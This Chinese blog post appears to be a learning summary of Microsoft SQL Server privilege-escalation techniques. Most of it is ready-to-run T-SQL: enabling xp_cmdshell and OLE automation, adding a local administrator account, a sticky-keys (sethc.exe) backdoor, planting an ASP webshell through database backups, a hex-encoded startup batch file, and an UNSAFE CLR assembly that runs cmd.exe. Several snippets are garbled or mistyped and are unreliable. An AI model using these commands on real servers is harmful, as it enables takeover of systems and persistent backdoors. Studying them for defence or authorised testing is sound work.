天天看點

Day5——提權學習之MSSQL資料庫提權學習總結

0x00 SQLServer提權基礎

1、SQLServer權限

列出sql server 角色使用者的權限

按照從最低級别角色(bulkadmin)到最進階别角色(sysadmin)的順序進行描述:

1.bulkadmin:這個角色可以運作BULK INSERT語句.該語句允許從文本檔案中将資料導入到SQL Server2008資料庫中,為需要執行大容量插入到資料庫的域帳号而設計.

2.dbcreator:這個角色可以建立,更改,删除和還原任何資料庫.不僅适合助理DBA角色,也可能适合開發人員角色.

3.diskadmin:這個角色用于管理磁盤檔案,比如鏡像資料庫和添加備份裝置.适合助理DBA

4.processadmin:SQL Server 2008可以同時多程序處理.這個角色可以結束程序(在SQL Server 2008中稱為"删除")

5.public:有兩大特點:第一,初始狀态時沒有權限;第二,所有資料庫使用者都是它的成員

6.securityadmin:這個角色将管理登入名及其屬性.可以授權,拒絕和撤銷伺服器級/資料庫級權限.可以重置登入名和密碼

7.serveradmin:這個角色可以更改伺服器範圍的配置選項和關閉伺服器

8.setupadmin:為需要管理聯接伺服器和控制啟動的存儲過程的使用者而設計.

9.sysadmin:這個角色有權在SQL Server 2008 中執行任何操作.

2、常見SQL Server提權指令

(1)檢視資料庫版本

select @@version
           

(2)檢視資料庫版本

select @@version
           

(3)檢視資料庫系統參數

exec master..xp_msver;
           

(4)檢視使用者所屬角色資訊

sp_helpsrvrolemember
           

(5)檢視目前資料庫

select db_name();
           

(6)顯示機器上的驅動器

xp_availablemedia
           

(7)檢視目前賬戶權限

select IS_SRVROLEMEMBER('sysadmin') #判斷是否為sa權限
select IS_MEMBER('db_owner') #判斷是否為dba權限
           

(8)開啟xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
           

(9)關閉xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;
           

(10)禁用advanced options

EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;
           

(11)sp_OACreate執行指令

DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js,'Language','JavaScript'
ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'
           

(12)sp_OACreate移動檔案

declare @aa int
exec sp_oacreate 'scripting.filesystemobject' @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log','c:\temp\ipmi1.log';
           

(13)sp_OACreate複制檔案

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
           

(14)sp_OACreate删除檔案

DECLARE @Result int
DECLARE @FSO_Token int
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile',NULL,'c:\Documents and Settings\All Users\ [開始] 菜單\程式\啟動\user.bat'
EXEC @Result = sp_OADestrop @FSO_Token
           

0x01 SQLServer提權方法

Day5——提權學習之MSSQL資料庫提權學習總結

根據目前擁有的權限分為如下兩種情況來進行SQL Server的提權。

一、在SA權限下

1、存在xp_cmdshell時

使用xp_cmdshell執行指令添加使用者,當出現錯誤可以恢複和開啟xp_cmdshell

(1)測試xp_cmdshell是否可以執行

exec master..xp_cmdshell 'ver'
           

擷取作業系統版本

(2)添加管理者使用者

添加使用者

exec master.dbo.xp_cmdshell 'net user quan 123456 /add'
           

添加至管理者組

exec master.dbo.xp_cmdshell 'net localgroup administrators quan /add'
           

2、使用sp_OACreate執行指令

當xp_cmdshell無法使用時,可以使用sp_OACreate執行指令

1)開啟sp_OACreate

exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;
           

2)使用wscript.shell直接添加系統帳戶

查詢分離器連接配接後,xp或2003server系統下使用:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add'
           
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators quan /add'
           

其他操作如下:

(1)sp_OACreate替換粘貼鍵

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
           
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
           

需要同時具備sp_oacreate 和sp_oamethod 兩個功能元件。

成功後3389登陸按五次shift鍵。成功進入伺服器。一直向上點”我的電腦“右鍵“管理” 使用者管理直接加使用者。

(2)Shell.Application執行指令

declare @o int

exec sp_oacreate ‘Shell.Application’, @o out

exec sp_oamethod @o, ‘ShellExecute’,null, ‘cmd.exe’,‘cmd /c net user >c:\test.txt’,‘c:\windows\system32’,’’,‘1’;

or

exec sp_oamethod @o, ‘ShellExecute’,null, ‘user.vbs’,’’,‘c:’,’’,‘1’;

(3)使用wscript.shell執行指令

use master
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'
           

public提權操作

USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.webshell.cc
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
           

3、沙盒提權

沙盒模式是資料庫的一種安全功能.在沙盒模式下,隻對控件和字段屬性中的安全且不含惡意代碼的表達式求值.如果表達式不使用可能以某種方式損壞資料的函數或屬性,則可認為它是安全的。

使用場景:無法執行指令時,

xp_regwrite可用

(使用條件)

(1)首先檢查xp_cmdshell是否開啟

select count(*) from master.dbo.sysobjects where xtyoe='x' and name='xp_cmdshell'
           

(2)開啟沙盒模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
           

SandBoxMode參數含義(預設是2)

:在任何所有者中禁止啟用安全模式

1

:為僅在允許範圍内

2

:必須在access模式下

3

:完全開啟

(3)利用jet.oledb執行系統指令添加使用者

select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net user quan 121345 /add")')
           

(4)将quan使用者添加至管理者組

select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net localgroup administrators quan /add")')
           

openrowset是可以通過OLE DB通路SQL Server資料庫,OLE DB是應用程式連結到SQL Server的的驅動程式。

4、系統資料庫劫持粘貼鍵

當隻有xp_regwrite可用時可以劫持粘滞鍵(sethc.exe),使用xp_regwrite修改系統資料庫

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
           

二、DBA權限下

Day5——提權學習之MSSQL資料庫提權學習總結

DBA權限下通過備份檔案提權步驟如下

1、通過備份到網站目錄getshell

兩種備份方式如下

(1)差異備份

backup database 庫名 to disk = 'c:\quan.bak';//完整備份一次(儲存位置可以改)
create table cmd (a image);
insert into cmd(a) values(<%execute(request("a"))%>);//建立表cmd并插入一句話木馬
backup database 庫名 to disk='目标位置\hhh.asp' WITH DIFFERENTIAL,FORMAT;//進行差異備份
           

(2)LOG備份

LOG備份需要先把指定的資料庫激活為還原模式,是以需要執行

alter database XXX set RECOVERY FUL

,而差異備份不需要,是以隻有這條語句的就是LOG備份

alter database 資料庫名稱 set RECOVERY FULL;
create table cmd (a image);
backup log 資料庫名稱 to disk = 'E:\wwwroot\asp_sqli\hack.asp' with init;
insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');
           

;backup log 資料庫名稱 to disk = ‘E:\wwwroot\asp_sqli\hack2.asp’ –

2、通過備份 檔案到啟動項提權

(1)先測試

xp_cmdshell

是否可用

exec master..xp_cmdshell 'ver'
           

提示權限拒絕,說明是

db_owner

權限.

(2)利用

xp_dirtree

列目錄

exec master..xp_dirtree 'c:\',1,1
           

(3)檢視啟動項

exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「開始」菜單\程式\啟動',1,1
           

(4)列資料庫

SELECT DB_NAME()
           

(5)利用url或者sql查詢器log備份bat或一句話

alter database [northwind] set RECOVERY FULL--
create table cmd (a image)--
backup log [northwind] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [northwind] to disk = 'C:\Documents and Settings\Administrator\「開始」菜單\程式\啟動\start.bat'--
drop table cmd--
           

(6)再去檢視一下啟動項就有一個bat了

exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「開始」菜單\程式\啟動',1,1
           

三、利用SQL Server CLR提權

Microsoft SQL Server 現在具備與 Microsoft Windows .NET Framework

的公共語言運作時 (CLR) 元件內建的功能CLR 為托管代碼提供服務,例如跨語言內建、代碼通路安全性、對象生存期管理以及調試和分析支援。

對于 SQL Server 使用者和應用程式開發人員來說CLR 內建意味着您現在可以使用任何 .NET Framework 語言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)編寫存儲過程、觸發器、使用者定義類型、使用者定義函數(标量函數和表值函數)以及使用者定義的聚合函數。

要通過此種方式來執行指令,也有幾個前提:

1、在SQL Server上能啟用CLR并可以建立自定義存儲過程

2、SQL Server目前賬号具有執行指令/代碼所需要的權限

建立CLR有兩種方式

第一種就是通過DLL建立

CREATE ASSEMBLY AssemblyName from ‘DLLPath’
           

第二種就是通過檔案十六進制流

CREATE ASSEMBLY AssemblyName from 檔案十六進制流
           

1、安裝Visual Studio和SQL Server資料庫,此次測試使用了VS2017跟SQL2012。

2、建立一個新的SQL Server資料庫項目

3、設定項目屬性,目标平台修改為需要的目标平台,如SQL Server 2012;

将SQLCLR權限級别修改為

UNSAFE

;修改.Net 架構版本為自己需要的版本;語言選擇

C#

4、右鍵項目,選擇添加->建立項,建立SQL CLR C# 存儲過程

5、填入以下測試代碼:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void SqlStoredProcedure1 ()
    {
        // 在此處放置代碼
        System.Diagnostics.Process process = new System.Diagnostics.Process();
        process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.Arguments = "/C whoami > c:\\temp\\1.txt";
        process.Start();
    }
}
           

6、填入代碼以後進行編譯,之後到編譯目錄下可以看到一個

dacpac

字尾的檔案

7、輕按兩下此檔案進行解壓,将解壓出一個名為

mode.sql

的檔案。

8、執行SQL檔案中的以下語句

CREATE ASSEMBLY [ExecCode]
    AUTHORIZATION [dbo]
    FROM 0x4D5A[...snip...]
    WITH PERMISSION_SET = UNSAFE;
           

之後執行:

CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]
           

9、開啟資料庫伺服器配置選項clr enabled

EXEC sp_configure N'show advanced options', N'1' 
RECONFIGURE WITH OVERRIDE
           

–開啟clr enabled 選項

EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE 
           

–關閉所有伺服器配置選項

EXEC sp_configure N'show advanced options', N'0' 
RECONFIGURE WITH OVERRIDE
​
           

–如果存在權限問題,執行下面一段腳本

alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'
           

10、執行指令:

EXEC [dbo].[SqlStoredProcedure1];
           

11、删除存儲過程

DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode
           

0x02 參考文章

《網絡攻防實戰研究——漏洞利用與提權》

https://www.cnblogs.com/wh4am1/p/11669539.html

https://www.cnblogs.com/xred/archive/2011/12/31/2308724.html

繼續閱讀